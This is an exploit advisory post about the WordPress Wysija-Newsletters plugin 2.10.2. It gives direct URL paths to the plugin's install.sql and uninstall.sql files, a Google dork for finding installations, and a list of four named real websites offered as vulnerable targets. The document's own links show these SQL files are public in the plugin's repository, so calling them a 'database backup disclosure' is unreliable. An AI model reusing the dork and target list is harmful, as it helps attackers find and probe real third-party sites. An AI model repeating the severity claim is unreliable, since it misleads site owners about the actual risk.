################################################################################################# # Exploit Title : WordPress Wysija-Newsletters 2.10.2 Database Backup Disclosure # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 08/12/2018 # Vendor Homepage : mailpoet.com ~ wordpress.org/plugins/wysija-newsletters/ # Software Download Link : downloads.wordpress.org/plugin/wysija-newsletters.2.10.2.zip + github.com/wp-plugins/wysija-newsletters/archive/master.zip + github.com/wp-plugins/wysija-newsletters + github.com/wp-plugins/wysija-newsletters/blob/master/sql/install.sql + github.com/wp-plugins/wysija-newsletters/blob/master/sql/uninstall.sql # Tested On : Windows and Linux # Category : WebApps # Version Information : 2.10.2 and 2.6.16 # Exploit Risk : Medium # Google Dorks : inurl:''/wp-content/plugins/wysija-newsletters/sql/'' # PacketStormSecurity Exploit Link : packetstormsecurity.com/files/150721/WordPress-Wysija-Newsletters-2.10.2-Database-Disclosure.html # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ] CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ] ################################################################################################# # Admin Panel Login Path : /wp-login.php # Exploit : /wp-content/plugins/wysija-newsletters/sql/install.sql /wp-content/plugins/wysija-newsletters/sql/uninstall.sql ################################################################################################# # Example Vulnerable Sites => [+] debtmanagementhelpline.co.uk/wp-content/plugins/wysija-newsletters/sql/install.sql [+] cececlark.com/passionplatformprofit.com/wp-content/plugins/wysija-newsletters/sql/install.sql [+] sayezz.com/wp-content/plugins/wysija-newsletters/sql/install.sql [+] costume-shop.com/images/headers/english/syt/kankama/clevelba/ wp-content/plugins/wysija-newsletters/sql/install.sql ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################